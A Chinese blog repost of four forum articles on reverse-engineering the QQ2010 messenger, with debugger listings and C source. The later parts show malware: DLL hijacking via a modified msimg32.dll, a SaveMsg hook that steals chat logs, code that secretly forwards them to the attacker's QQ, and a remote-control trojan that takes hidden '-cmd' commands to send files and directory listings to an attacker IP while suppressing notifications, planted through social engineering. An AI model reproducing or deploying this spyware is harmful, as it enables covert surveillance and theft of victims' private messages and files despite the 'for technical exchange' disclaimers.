QQ2010聊天记录获取+各种应用


第一篇


*******************************************************
*标题:【原创】【原创】分析QQ,查找聊天窗口中的聊天信息在内存中的位置 *
*作者:踏雪流云                                                         *
*日期:2010年11月6号                                                   *
*声明:本文章的目的仅为技术交流讨论                                     *
*******************************************************
曾设想:如果暗中替换掉用户输入的聊天信息,这样不就可以利用聊天窗口暗中发送自己的信息了;于是,便有了此文。
首先,OD加载QQ,运行后,打开一个聊天窗口,回到OD,查看ChatFrame模块,找到如下位置:

6152FAD9    3D CB000000     cmp     eax, 0CB                         ; CB消息
6152FADE    0F85 6F0E0000   jnz     61530953
6152FAE4    33C0            xor     eax, eax                         ; RichEdit有输入
6152FAE6    8BCE            mov     ecx, esi
6152FAE8    8379 10 0D      cmp     dword ptr [ecx+10], 0D           ; 判断是否是回车
6152FAEC    6A 10           push    10                               ; shift+enter 换行
6152FAEE    0F94C0          sete    al
6152FAF1    8BF8            mov     edi, eax
6152FAF3    FF15 38B85C61   call    dword ptr [<&USER32.GetKeyState>>; user32.GetKeyState

这是RichEdit有字符输入的响应位置,在6152FAE4地址下断;回到聊天窗口,在空消息的情况下按回车键(发送),为什么要按回车呢?这是因为回车会将聊天信息发送出去,这就会将RichEdit中的信息保存到内存了,而在空信息的状态下回车,会弹出提示“发送内容不能为空,请重新输入。”,说明QQ会检测输入信息的长度,我们正好可以利用此方法,来找到聊天信息的保存位置。
按下回车后,断点命中,一路F8,直到弹出“发送内容不能为空,请重新输入。”提示;然后,步进那个函数,再一路F8,重复上述操作,直到找到判断信息是否为空的跳转为止。最终位置在AFCtrl模块:

02C6C4D5    8B0F            mov     ecx, dword ptr [edi]
02C6C4D7    8B81 5C040000   mov     eax, dword ptr [ecx+45C]
02C6C4DD    8D95 68FEFFFF   lea     edx, dword ptr [ebp-198]
02C6C4E3    52              push    edx
02C6C4E4    57              push    edi
02C6C4E5    FFD0            call    eax
02C6C4E7    8B8D 68FEFFFF   mov     ecx, dword ptr [ebp-198]
02C6C4ED    3BCB            cmp     ecx, ebx
02C6C4EF    7F 23           jg      short 02C6C514                   ; 消息不为空,跳转

02C6C4E5    FFD0            call    eax 位置,为判断信息是否为空的函数;在此处下断,回到聊天窗口输入123456789,回车后断点命中,一路F7,来到如下位置:

30883A90    55              push    ebp
30883A91    8BEC            mov     ebp, esp
30883A93    6A FF           push    -1
30883A95    68 A0ED9A30     push    309AEDA0
30883A9A    64:A1 00000000  mov     eax, dword ptr fs:[0]
30883AA0    50              push    eax
30883AA1    83EC 0C         sub     esp, 0C
30883AA4    53              push    ebx
30883AA5    56              push    esi
30883AA6    57              push    edi
30883AA7    A1 E408A530     mov     eax, dword ptr [30A508E4]
30883AAC    33C5            xor     eax, ebp
30883AAE    50              push    eax
30883AAF    8D45 F4         lea     eax, dword ptr [ebp-C]
30883AB2    64:A3 00000000  mov     dword ptr fs:[0], eax
30883AB8    8BF9            mov     edi, ecx
30883ABA    897D EC         mov     dword ptr [ebp-14], edi
30883ABD    8BB7 30020000   mov     esi, dword ptr [edi+230]
30883AC3    33DB            xor     ebx, ebx
30883AC5    3BF3            cmp     esi, ebx
30883AC7    895D FC         mov     dword ptr [ebp-4], ebx
30883ACA    8975 E8         mov     dword ptr [ebp-18], esi
30883ACD    0F84 EA000000   je      30883BBD
30883AD3    8B06            mov     eax, dword ptr [esi]
30883AD5    8B48 04         mov     ecx, dword ptr [eax+4]
30883AD8    56              push    esi
30883AD9    FFD1            call    ecx
30883ADB    399F 94020000   cmp     dword ptr [edi+294], ebx
30883AE1    75 09           jnz     short 30883AEC
30883AE3    53              push    ebx
30883AE4    E8 17B1FFFF     call    3087EC00
30883AE9    83C4 04         add     esp, 4
30883AEC    8B7D 10         mov     edi, dword ptr [ebp+10]
30883AEF    8B4D 08         mov     ecx, dword ptr [ebp+8]
30883AF2    8D45 F0         lea     eax, dword ptr [ebp-10]
30883AF5    50              push    eax
30883AF6    895D F0         mov     dword ptr [ebp-10], ebx
30883AF9    8B5D 0C         mov     ebx, dword ptr [ebp+C]
30883AFC    8B16            mov     edx, dword ptr [esi]
30883AFE    8B52 20         mov     edx, dword ptr [edx+20]
30883B01    57              push    edi
30883B02    53              push    ebx
30883B03    51              push    ecx
30883B04    56              push    esi
30883B05    FFD2            call    edx
30883B07    8B4D 14         mov     ecx, dword ptr [ebp+14]
30883B0A    85C9            test    ecx, ecx
30883B0C    8B55 F0         mov     edx, dword ptr [ebp-10]
30883B0F    8945 10         mov     dword ptr [ebp+10], eax
30883B12    74 02           je      short 30883B16
30883B14    8911            mov     dword ptr [ecx], edx             ; 这里长度赋值
30883B16    817D 08 E104000>cmp     dword ptr [ebp+8], 4E1
30883B1D    75 6E           jnz     short 30883B8D
30883B1F    85D2            test    edx, edx
30883B21    74 6A           je      short 30883B8D
30883B23    85C0            test    eax, eax
30883B25    75 66           jnz     short 30883B8D
30883B27    8945 08         mov     dword ptr [ebp+8], eax
30883B2A    8D45 08         lea     eax, dword ptr [ebp+8]
30883B2D    50              push    eax
30883B2E    C645 FC 01      mov     byte ptr [ebp-4], 1
30883B32    FF15 F4609C30   call    dword ptr [<&Common.Util::Data::>; Common.Util::Data::CreateTXData

一路F8,并注意寄存器的值,我们要找到长度9的出现位置,即

30883B14    8911            mov     dword ptr [ecx], edx             ; 这里长度赋值
位置,这里edx保存了信息的长度。
接下来,在30883B05    FFD2            call    edx处下断;然后,一路跟进,时刻注意9的出现,最终我们发现得到长度的代码位置:

39704EFB    8B81 D4000000   mov     eax, dword ptr [ecx+D4]          ; 长度在这个地址
39704F01    8B49 78         mov     ecx, dword ptr [ecx+78]
39704F04    F6C1 01         test    cl, 1
39704F07    74 0F           je      short 39704F18
39704F09    F7C1 00000800   test    ecx, 80000
39704F0F    6A 00           push    0
39704F11    59              pop     ecx
39704F12    0F95C1          setne   cl
39704F15    41              inc     ecx
39704F16    2BC1            sub     eax, ecx
39704F18    C3              retn

来到39704EFB    8B81 D4000000   mov     eax, dword ptr [ecx+D4]          ; 代码处,数据窗口跟随ecx+D4地址,便找到了聊天信息的长度;这时,在数据窗口ctrl+B,查找”123456789“字串,马上就找到了,附近位置还有此聊天窗口显示的聊天信息。
修改聊天信息内容或信息长度,发送出去的数据会随之变化,但缺陷是本地显示的信息也会变化,说明这是发送数据和本地显示数据的共同来源。试图想找到发送数据的直接来源,而不影响本地显示数据,未果

本人菜鸟一个,献丑了。。。








第二篇


*标题:【原创】逆向qqspy,实现qq2010聊天信息获取 **作者:踏雪流云                                        **日期:2010年9月1号                    
小弟第一次发帖,写的不好或者错误的地方还望指正~~~前些日子,偶然看到这个qqspy的程序可以获取qq的聊天记录,本人比较好奇,于是决定分析分析它是如何实现的;终于皇天不负有心人,被小弟看出了端倪,特来与大家分享。。。
程序下载地址为:http://www.myqqspy.cn/
程序说明如下:


家庭上网侦察员6.3家庭上网侦察员 V6.3 又名:QQ间谍、QQ聊天记录工具、QQ聊天监视工具、QQ2010聊天记录工具、QQ2009聊天记录工具、QQ聊天记录器、MSN聊天记录器 是目前唯一一款兼容 WINDOWS XP、VISTA、WINDOWS7,又支持QQ、MSN聊天软件的一款聊天监控软件,完美兼容QQ2010、MSN最新版,欢迎免费试用,试用满意后付款!


我下载的是试用版进行分析,共有5个文件,分别是:qqspy.exe、db.dll、im32.dll、msimg32.dll、base.ini。
下面先简单介绍下各个文件的作用:
qqspy.exe主程序,负责聊天记录的显示与功能的设置。
db.dll数据模块,封装了SQLite功能,把聊天记录存储为SQLite数据库格式文件;并使用ADVAPI32对此SQLite数据库进行SHA加密保护。
im32.dll聊天记录获取模块,负责聊天记录的获取并保存在聊天记录文件中。
msimg32貌似是QQ录音机软件模块的dll,QQ在启动的时候会加载msimg32.dll文件;而此文件已被修改,负责加载im32.dll模块,这样im32.dll模块就可被QQ加载了。
base.ini数据记录文件,记录QQ聊天记录,记录密码、配置、注册等信息,SQLite数据库格式,并用SHA算法加密。
将上述5个文件都放入QQ的bin目录下,开始进行分析:首先,im32.dll被加了壳,先脱壳;然后,用OD加载im32.dll文件,ctrl+N打开当前模块中的名称:


发现kernel32.WriteProcessMemory和kernel32.VirtualProtect两个API比较可以,这让我想到了APIHook技术,在kernel32.WriteProcessMemory行回车,来到函数参考:


10001F73  |.  52            push    edx                              ; /ProcessId
10001F74  |.  6A 00         push    0                                ; |Inheritable = FALSE
10001F76  |.  6A 38         push    38                               ; |Access = VM_OPERATION|VM_READ|VM_WRITE
10001F78  |.  FF15 AC400210 call    dword ptr [<&KERNEL32.OpenProces>; \OpenProcess
10001F7E  |.  8B4E 04       mov     ecx, dword ptr [esi+4]
10001F81  |.  6A 00         push    0                                ; /pBytesWritten = NULL
10001F83  |.  8BF8          mov     edi, eax                         ; |
10001F85  |.  8B46 0C       mov     eax, dword ptr [esi+C]           ; |
10001F88  |.  50            push    eax                              ; |BytesToWrite
10001F89  |.  51            push    ecx                              ; |Buffer
10001F8A  |.  53            push    ebx                              ; |Address
10001F8B  |.  57            push    edi                              ; |hProcess
10001F8C  |.  FF15 C8400210 call    dword ptr [<&KERNEL32.WriteProce>; \WriteProcessMemory
10001F92  |.  8B0E          mov     ecx, dword ptr [esi]
10001F94  |.  6A 00         push    0                                ; /pOldProtect = NULL
10001F96  |.  8BE8          mov     ebp, eax                         ; |
10001F98  |.  8B4424 0C     mov     eax, dword ptr [esp+C]           ; |
10001F9C  |.  50            push    eax                              ; |NewProtect
10001F9D  |.  51            push    ecx                              ; |Size
10001F9E  |.  53            push    ebx                              ; |Address
10001F9F  |.  FF15 BC400210 call    dword ptr [<&KERNEL32.VirtualPro>; \VirtualProtect
10001F7747.net  |.  57            push    edi                              ; /hObject
10001FA6  |.  FF15 50400210 call    dword ptr [<&KERNEL32.CloseHandl>; \CloseHandle

下断后,运行QQ程序,很快命中断点,F8,发现WriteProcessMemory的BytesToWrite参数为5,应该是APIHook没错了;第一次Hook的函数ole32.CoRegisterClassObject,不是我们要找到;F9,第二次Hook的函数为0149FE30   3182B3B0  KernelUt.Util::Msg::SaveMsg函数,它是QQ KernelUt模块的导出函数,这就是我们要找的函数了。这时,我们来到KernelUt.Util::Msg::SaveMsg函数位置:

3182B3B0 >/$- E9 4B4CB6D0   jmp     02390000
3182B3B5  |.  68 88DB8531   push    3185DB88
3182B3BA  |.  64:A1 0000000>mov     eax, dword ptr fs:[0]
3182B3C0  |.  50            push    eax
3182B3C1  |.  83EC 38       sub     esp, 38
3182B3C4  |.  53            push    ebx
3182B3C5  |.  56            push    esi
3182B3C6  |.  57            push    edi
jmp     02390000就是Hook函数位置了。跳到02390000位置:

02390000    F0:FF05 C049FE0>lock inc dword ptr [FE49C0]
02390007    60              pushad
02390008    9C              pushfd
02390009    64:A1 18000000  mov     eax, dword ptr fs:[18]
0239000F    8B40 34         mov     eax, dword ptr [eax+34]
02390012    50              push    eax
02390013    8BD4            mov     edx, esp
02390015    68 00000000     push    0
0239001A    B9 8849FE00     mov     ecx, 0FE4988
0239001F    E8 0C2DC0FE     call    im32.00F92D30
02390024    5A              pop     edx
02390025    64:A1 18000000  mov     eax, dword ptr fs:[18]
0239002B    83C0 34         add     eax, 34
0239002E    8910            mov     dword ptr [eax], edx
02390030    9D              popfd
02390031    61              popad
02390032    F0:FF0D C049FE0>lock dec dword ptr [FE49C0]
02390039    C3              retn

在0239001F    E8 0C2DC0FE     call    im32.00F92D30行下断;然后F9,等QQ成功启动后,找个人发个QQ信息,就命中断点了。这时,F7跟进:

00F92D30  /.  55            push    ebp
00F92D31  |.  8BEC          mov     ebp, esp
00F92D33  |.  83E4 F8       and     esp, FFFFFFF8
00F92D36  |.  83EC 30       sub     esp, 30
00F92D39  |.  56            push    esi
00F92D3A  |.  8BF1          mov     esi, ecx
00F92D3C  |.  8B46 1C       mov     eax, dword ptr [esi+1C]
00F92D3F  |.  57            push    edi
00F92D40  |.  8BFA          mov     edi, edx
00F92D42  |.  894424 28     mov     dword ptr [esp+28], eax
00F92D46  |.  FF15 0C48FC00 call    dword ptr [FC480C]               ;  ntdll.NtCurrentTeb
00F92D4C  |.  8B57 14       mov     edx, dword ptr [edi+14]
00F92D4F  |.  894424 24     mov     dword ptr [esp+24], eax
00F92D53  |.  8B45 08       mov     eax, dword ptr [ebp+8]
00F92D56  |.  83C2 04       add     edx, 4
00F92D59  |.  837E 20 00    cmp     dword ptr [esi+20], 0
00F92D5D  |.  8D4C24 30     lea     ecx, dword ptr [esp+30]
00F92D61  |.  C74424 30 000>mov     dword ptr [esp+30], 0
00F92D69  |.  894C24 2C     mov     dword ptr [esp+2C], ecx
00F92D6D  |.  897424 34     mov     dword ptr [esp+34], esi
00F92D71  |.  895424 14     mov     dword ptr [esp+14], edx
00F92D75  |.  897C24 18     mov     dword ptr [esp+18], edi
00F92D79  |.  C74424 20 000>mov     dword ptr [esp+20], 0
00F92D81  |.  894424 1C     mov     dword ptr [esp+1C], eax
00F92D85  |.  75 22         jnz     short 00F92DA9
00F92D87  |.  833D F047FC00>cmp     dword ptr [FC47F0], 0
00F92D8E  |.  75 19         jnz     short 00F92DA9
00F92D90  |.  8B56 04       mov     edx, dword ptr [esi+4]
00F92D93  |.  8B02          mov     eax, dword ptr [edx]
00F92D95  |.  8D7E 04       lea     edi, dword ptr [esi+4]
00F92D98  |.  8BCF          mov     ecx, edi
00F92D9A  |.  FFD0          call    eax
00F92D9C  |.  84C0          test    al, al
00F92D9E  |.  74 09         je      short 00F92DA9
00F92DA0  |.  E8 3B010000   call    00F92EE0
00F92D7747.net  |.  85C0          test    eax, eax
00F92DA7  |.  74 16         je      short 00F92DBF
00F92DA9  |>  8B16          mov     edx, dword ptr [esi]
00F92DAB  |.  8B52 04       mov     edx, dword ptr [edx+4]
00F92DAE  |.  8D4424 14     lea     eax, dword ptr [esp+14]
00F92DB2  |.  50            push    eax
00F92DB3  |.  8BCE          mov     ecx, esi
00F92DB5  |.  FFD2          call    edx
00F92DB7  |.  5F            pop     edi
00F92DB8  |.  5E            pop     esi
00F92DB9  |.  8BE5          mov     esp, ebp
00F92DBB  |.  5D            pop     ebp
00F92DBC  |.  C2 0400       retn    4
00F92DBF  |>  8B46 18       mov     eax, dword ptr [esi+18]
00F92DC2  |.  83E0 03       and     eax, 3
00F92DC5  |.  74 1D         je      short 00F92DE4
00F92DC7  |.  8D4C24 0C     lea     ecx, dword ptr [esp+C]
00F92DCB  |.  51            push    ecx
00F92DCC  |.  8B4F 10       mov     ecx, dword ptr [edi+10]
00F92DCF  |.  894424 14     mov     dword ptr [esp+14], eax
00F92DD3  |.  8D4424 14     lea     eax, dword ptr [esp+14]
00F92DD7  |.  57            push    edi
00F92DD8  |.  894424 14     mov     dword ptr [esp+14], eax
00F92DDC  |.  E8 FFEDFFFF   call    00F91BE0
00F92DE1  |.  83C4 08       add     esp, 8
00F92DE4  |>  F646 18 01    test    byte ptr [esi+18], 1
00F92DE8  |.  75 15         jnz     short 00F92DFF
00F92DEA  |.  837C24 20 00  cmp     dword ptr [esp+20], 0
00F92DEF  |.  75 0E         jnz     short 00F92DFF
00F92DF1  |.  8B16          mov     edx, dword ptr [esi]
00F92DF3  |.  8B52 04       mov     edx, dword ptr [edx+4]
00F92DF6  |.  8D4424 14     lea     eax, dword ptr [esp+14]
00F92DFA  |.  50            push    eax
00F92DFB  |.  8BCE          mov     ecx, esi
00F92DFD  |.  FFD2          call    edx                              ;  im32.00F92E40
00F92DFF  |>  8B46 18       mov     eax, dword ptr [esi+18]
00F92E02  |.  A8 04         test    al, 4
00F92E04  |.  74 2C         je      short 00F92E32
00F92E06  |.  A8 01         test    al, 1
00F92E08  |.  75 28         jnz     short 00F92E32
00F92E0A  |.  F64424 20 01  test    byte ptr [esp+20], 1
00F92E0F  |.  74 21         je      short 00F92E32
00F92E11  |.  8D4C24 0C     lea     ecx, dword ptr [esp+C]
00F92E15  |.  51            push    ecx
00F92E16  |.  8B4F 10       mov     ecx, dword ptr [edi+10]
00F92E19  |.  8D4424 14     lea     eax, dword ptr [esp+14]
00F92E1D  |.  57            push    edi
00F92E1E  |.  C74424 18 040>mov     dword ptr [esp+18], 4
00F92E26  |.  894424 14     mov     dword ptr [esp+14], eax
00F92E2A  |.  E8 B1EDFFFF   call    00F91BE0
00F92E2F  |.  83C4 08       add     esp, 8
00F92E32  |>  5F            pop     edi
00F92E33  |.  5E            pop     esi
00F92E34  |.  8BE5          mov     esp, ebp
00F92E36  |.  5D            pop     ebp
00F92E37  \.  C2 0400       retn    4

00F92DFD  |.  FFD2          call    edx                              ;  im32.00F92E40,执行完这个call,栈里就出现了对方的QQ号码;这个call的作用大体是调用原来的KernelUt.Util::Msg::SaveMsg函数,有兴趣的同志可以跟进去看看。执行之前:

0013F490   30021738  返回到 Common.30021738
0013F494   06C964CC  UNICODE "xxxxxxxx"     这个就是对方QQ号码的地址

即将宽字符串UNICODE "Addr-0x30016730"的地址填充了对方的QQ号码。到此,已经成功的获取到了对方的QQ号码,方法是调用KernelUt.Util::Msg::SaveMsg函数后,出现在栈中。下面分析如何找到获取聊天信息的部分:首先,发现im32.dll里面,有多处调用kernel32.OutputDebugStringA API,于是想到使用Dbgview工具,来查看打印信息:


图中可以看出insert into chatlog (id,acc1,acc2,nickname,msg,time,issend,isgroup,chattype,sendover)打印出了聊天信息;因此,OD中查找上述字符串,找到insert into chatlog (id,acc1,acc2,nickname,msg,time,issend,isgroup,chattype,sendover) values(null,%d,%d,'%s','%s','%s',%d,%d,'%s',0)这组字符串就是了。回车,来到调用处,下断,运行QQ,聊天后,便命中断点;alt+K查看调用堆栈,发现第三行的函数有蹊跷,因为那个函数体里面调用了KernelUt.Util::Msg::GetMsgAbstract这个函数;于是在这里下断,聊天后,便命中断点;执行完这个函数就找到了我们的聊天信息了,哈哈~~~至此,qqspy实现查看聊天记录的流程就水落石出了,总结如下:1.利用msimg32.dll加载im32.dll。2.在im32.dll中,Hook KernelUt.Util::Msg::SaveMsg 函数。3.在Hook函数中,调用原KernelUt.Util::Msg::SaveMsg 函数,找到对方QQ号码。4.在Hook函数中,调用KernelUt.Util::Msg::GetMsgAbstract函数,获取聊天信息。是不是很简单,呵呵~~~小弟献丑了。。。利用此方法,可以将获取到的聊天信息实时发给对方或将聊天记录保存在文件中,每次启动发给对方等。源代码很简单,就不发上来了~~~测试环境:





第三篇

把聊天记录发到自己的QQ上

*******************************************************
*标题:【原创】暗度陈仓,实现qq暗中给自己发消息 *
*作者:踏雪流云                                        *
*日期:2011年3月6号                                   *
*声明:本文章的目的仅为技术交流讨论                    *
*******************************************************
此文章,是针对《逆向qqspy,实现qq2010聊天信息获取》文章的深一步研究;可以实现将获取到的聊天信息暗中发给自己,神不知鬼不觉;其实,早在四个多月前,就已经实现了这个方法,但始终觉得此技术具有一定的危险性,怕被不法使用,才迟迟没有发表;但现在我更加觉得,如果不分享此技术,它就会烂在手里,也有点可惜;因此,希望看到此文的朋友,以技术交流为目的,不要窥视他人隐私。
好了,言归正传。
此方法是基于《逆向qqspy,实现qq2010聊天信息获取》的,如果您还没有看过那篇文章,请google之。
首先,依旧是Hook_SaveMsg,获取到对方的qq消息。
然后,是将获得的qq消息,暗中发给自己,这也是本文的关键;我采用的方法是利用AppUtil.dll中的long __cdecl Util::ChatSession::SendAutoReplyMsgToBuddy(unsigned long  dstQQ)函数,一看函数名我们就能猜到这个是用来发送自动回复消息给对方的一个接口,参数很简单,就是对方的qq号码。
好了,有了这个函数,我们如何将自定的消息发给自己呢?看此函数的部分代码:

.text:61223210 ; long __cdecl Util::ChatSession::SendAutoReplyMsgToBuddy(unsigned long)
.text:61223210                 public ?SendAutoReplyMsgToBuddy@ChatSession@Util@@YAJK@Z
.text:61223210 ?SendAutoReplyMsgToBuddy@ChatSession@Util@@YAJK@Z proc near
.text:61223210                                         ; DATA XREF: .rdata:off_612D0D88o
.text:61223210
.text:61223210 var_A4          = dword ptr -0A4h
.text:61223210 var_A0          = dword ptr -0A0h
.text:61223210 var_9C          = dword ptr -9Ch
.text:61223210 var_98          = dword ptr -98h
.text:61223210 var_94          = byte ptr -94h
.text:61223210 var_90          = byte ptr -90h
.text:61223210 var_8C          = dword ptr -8Ch
.text:61223210 var_88          = dword ptr -88h
.text:61223210 var_84          = dword ptr -84h
.text:61223210 msgpack         = dword ptr -80h
.text:61223210 var_7C          = dword ptr -7Ch
.text:61223210 var_78          = dword ptr -78h
.text:61223210 var_74          = dword ptr -74h
.text:61223210 var_70          = dword ptr -70h
.text:61223210 var_6C          = byte ptr -6Ch
.text:61223210 var_64          = dword ptr -64h
.text:61223210 var_60          = dword ptr -60h
.text:61223210 var_58          = dword ptr -58h
.text:61223210 var_54          = dword ptr -54h
.text:61223210 var_10          = dword ptr -10h
.text:61223210 var_C           = dword ptr -0Ch
.text:61223210 var_4           = dword ptr -4
.text:61223210 arg_0           = dword ptr  8
.text:61223210
.text:61223210                 push    ebp
.text:61223211                 mov     ebp, esp
.text:61223213                 push    0FFFFFFFFh
.text:61223215                 push    offset loc_6128C0F9
.text:6122321A                 mov     eax, large fs:0
.text:61223220                 push    eax
.text:61223221                 sub     esp, 98h
.text:61223227                 mov     eax, dword_612DFCA0
.text:6122322C                 xor     eax, ebp
.text:6122322E                 mov     [ebp+var_10], eax
.text:61223231                 push    ebx
.text:61223232                 push    esi
.text:61223233                 push    edi
.text:61223234                 push    eax
.text:61223235                 lea     eax, [ebp+var_C]
.text:61223238                 mov     large fs:0, eax
.text:6122323E                 mov     edi, [ebp+arg_0]
.text:61223241                 push    edi
.text:61223242                 mov     esi, 1
.text:61223247                 call    ?IsQInterLiveUser@QInterLive@Contact@Util@@YAHK@Z ; Util::Contact::QInterLive::IsQInterLiveUser(ulong)
.text:6122324C                 add     esp, 4
.text:6122324F                 test    eax, eax
.text:61223251                 jz      short loc_61223259
.text:61223253                 xor     ebx, ebx
.text:61223255                 xor     esi, esi
.text:61223257                 jmp     short loc_6122326B
.text:61223259 ; ---------------------------------------------------------------------------
.text:61223259
.text:61223259 loc_61223259:                           ; CODE XREF: Util::ChatSession::SendAutoReplyMsgToBuddy(ulong)+41j
.text:61223259                 push    edi
.text:6122325A                 call    ds:?IsInvisible@Contact@Util@@YAHK@Z ; Util::Contact::IsInvisible(ulong)
.text:61223260                 add     esp, 4
.text:61223263                 test    eax, eax
.text:61223265                 jz      short loc_61223269
.text:61223267                 xor     esi, esi
.text:61223269
.text:61223269 loc_61223269:                           ; CODE XREF: Util::ChatSession::SendAutoReplyMsgToBuddy(ulong)+55j
.text:61223269                 xor     ebx, ebx
.text:6122326B
.text:6122326B loc_6122326B:                           ; CODE XREF: Util::ChatSession::SendAutoReplyMsgToBuddy(ulong)+47j
.text:6122326B                 lea     ecx, [ebp+var_94]
.text:61223271                 call    ds:??0CTXStringW@@QAE@XZ ; CTXStringW::CTXStringW(void)
.text:61223277                 cmp     esi, ebx
.text:61223279                 mov     [ebp+var_4], ebx
.text:6122327C                 jz      loc_61223718
.text:61223282                 lea     eax, [ebp+var_94]
.text:61223288                 push    eax
.text:61223289                 call    ?GetAutoRelyContent@Self@Contact@Util@@YAHAAVCTXStringW@@@Z ; Util::Contact::Self::GetAutoRelyContent(CTXStringW &)
.text:6122328E                 add     esp, 4

它会主动调用Util::Contact::Self::GetAutoRelyContent(CTXStringW &)函数,来获取自动回复的内容。
接着,当然是Hook GetAutoRelyContent函数了,让它返回我们要求它发的内容,代码如下:

int Hook_GetAutoRelyContent(char ** pmsg)
{
  if(bIsSending)
  {
    *pmsg=(char *)MyMsg.str;
    return 1;
  }

  ChookGetAutoRelyContentKey->HookStatus(FALSE);
  int res=GetAutoStr(pmsg);
  ChookGetAutoRelyContentKey->HookStatus(TRUE);
  return res;
}


这个函数传入的是CTXStringW字符串类的引用,为了简单起见,我使用了一个结构体来模拟它的成员变量,结构体如下:

typedef struct CTXBSTR{
  int zero;//貌似要一直是0
  int count;//引用计数
  int len1;
  int len2;
  wchar_t str[1024];
}TXStr,* pTXStr;

好了,利用这两个函数,就可以实现通过qq将聊天信息暗中发给对方了;原理是不是很简单,呵呵~~~
源代码如下(VC8.0编译通过,测试环境QQ2010 SP1(1761)):

下载源代码

第四篇

*******************************************************
*标题:【原创】利用qq2010聊天信息获取,打造自己的远程控制 *
*作者:踏雪流云                                             *
*日期:2010年9月24号                                      *
*声明:本文章的目的仅为技术交流讨论                         *
*******************************************************
前些天,小弟通过逆向QQSpy,侥幸成功实现QQ2010聊天信息获取,参见原文:http://bbs.pediy.com/showthread.php?t=119659
后来,小弟有一天闲来无事,对此又进行了一下深入一点的研究。
首先,将上文中的附件im32.dll和msimg32.dll放入QQ的Bin目录下,用OD加载im32.dll,在Hook_SaveMsg的函数中设置断点;然后,加载QQ,运行后,给此QQ发送一条消息,便命中断点于Hook_SaveMsg函数中,Ctrl+F9,便来到如下位置:
代码:

3119CBCD    FF15 6CA92A31   call    dword ptr [<&KernelUtil.Util::Co>; KernelUt.Util::Contact::GetSelfUin
3119CBD3    50              push    eax
3119CBD4    68 10542B31     push    312B5410                         ; UNICODE "buddy"
3119CBD9    FF15 C4A72A31   call    dword ptr [<&KernelUtil.Util::Ms>; KernelUt.Util::Msg::SaveMsg
3119CBDF    8B45 EC         mov     eax, dword ptr [ebp-14]
3119CBE2    83C4 18         add     esp, 18
3119CBE5    3BC3            cmp     eax, ebx
3119CBE7    885D FC         mov     byte ptr [ebp-4], bl
3119CBEA    74 08           je      short 3119CBF4
再Ctrl+F9,便来到如下位置:

3116B922    8B45 F0         mov     eax, dword ptr [ebp-10]
3116B925    8B48 0C         mov     ecx, dword ptr [eax+C]
3116B928    51              push    ecx
3116B929    FF15 58A82A31   call    dword ptr [<&KernelUtil.Util::Co>; KernelUt.Util::Contact::IsPrevented
3116B92F    83C4 04         add     esp, 4
3116B932    85C0            test    eax, eax
3116B934    0F85 44010000   jnz     3116BA7E
3116B93A    50              push    eax
3116B93B    8D55 D0         lea     edx, dword ptr [ebp-30]

当看到KernelUt.Util::Contact::IsPrevented这个导出函数时,感觉这个函数应该是用来判断是否屏蔽某人对自己的消息的(因为QQ有一个功能是屏蔽此人消息);通过调试,果如其然,这个IsPrevented函数的参数就是对方的QQ号码,返回值为BOOL值;单步调试过此函数后,将eax的零改为一,就不显示接收到此人消息了。。。
由此引发的联想是,如果我利用qq聊天窗口向对方发送命令,岂不可以达到远程控制的目的?
具体流程如下:
1.将此im32.dll文件放入对方Bin目录下,社会工程学的东西。
2.对方运行加载了此im32.dll的QQ后,可以给对方发送命令,达到远程控制的目的。
如:
-cmd ip 127.0.0.1   //给对方发送自己的ip地址;此时,im32.dll会使用UDP连接此ip。
-cmd msg   //实时发送聊天信息给对方。
-cmd dir D:\*.*  //枚举某一目录下的所有文件,并发给对方。
-cmd file D:\123.txt   //发送某文件给对方。
更多的功能可以自己添加。
实现代码如下:

HANDLE Hook_SaveMsg(wchar_t const * str, unsigned long dstqq, unsigned long srcqq, unsigned long data3,
              struct ITXMsgPack * pmsg, struct ITXData * pdata)
{  
  bCmd=FALSE;
  wchar_t * msg=NULL;
  AbstractMsg((struct ITXMsgPack *)&msg,(DWORD)pmsg);//获取聊天信息
  if(srcqq==QQ)//判断是否是对方QQ号码
  {
    if(msg[0]=='-'&&msg[1]=='c'&&msg[2]=='m'&&msg[3]=='d')//-cmd,判断是否是命令
    {
      bCmd=TRUE;//标记是命令
      ExecuteCmd(&msg[5]);//命令处理
      return 0;//如果是命令,就不SaveMsg,即不保存聊天信息,直接返回
    }
  }
  if(nSendType==1)
  {
    SendMsg(msg,dstqq,srcqq);//实时发送聊天信息给对方
  }

  ChookSaveMsgKey->HookStatus(FALSE);
    (MsgSave)SaveMsg(str,dstqq,srcqq,data3,pmsg,pdata);//保存聊天信息
  ChookSaveMsgKey->HookStatus(TRUE);

  return 0;
}

int Hook_IsPrevented(unsigned long qq)
{
  if(qq==QQ&&bCmd)//如果QQ号码是对方,并且发送的是命令
  {
    bCmd=FALSE;//清空标记
    return 1;//返回1,即屏蔽此人消息,这样本方就不会提示收到此信息了,达到利用qq聊天窗口作为命令窗口的目的
  }

  ChookIsPreventedKey->HookStatus(FALSE);
    (IsPrevented)IsOldrevented(qq);
  ChookIsPreventedKey->HookStatus(TRUE);

  return 0;
}

void ExecuteCmd(wchar_t * cmdkey)
{
  //Unicode编码转换为Multi-Byte编码
  int len = WideCharToMultiByte(CP_ACP, 0, cmdkey, wcslen(cmdkey), NULL, 0, NULL, NULL);   
  char * buffer = new char[len + 1];
  WideCharToMultiByte(CP_ACP, 0, cmdkey, wcslen(cmdkey), buffer, len, NULL, NULL);   
  buffer[len] = '\0';   
  if(buffer[0]=='i'&&buffer[1]=='p')//ip
  {
    ConnectServer(&buffer[3]);
  }
  else if(buffer[0]=='b'&&buffer[1]=='o'&&buffer[2]=='x')//box
  {
    ShowMessageBox(&buffer[4]);
  }
  else if(buffer[0]=='m'&&buffer[1]=='s'&&buffer[2]=='g')//msg
  {
    nSendType=1;
  }
  else if(buffer[0]=='d'&&buffer[1]=='i'&&buffer[2]=='r')//dir
  {
    SendDir(&buffer[4]);
  }
  else if(buffer[0]=='f'&&buffer[1]=='i'&&buffer[2]=='l'&&buffer[3]=='e')//file
  {
    SendFile(&buffer[5]);
  }

  delete[] buffer;
}

源代码

源码下载地址

截图


此图是在本机测试,测试成功;远程测试,就依赖UDP连接了,我没有进行过远程测试。。。
因为只是测试,文件传输功能未优化(其实是不靠谱,自己懒得弄了,望有兴趣者完善之)。 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
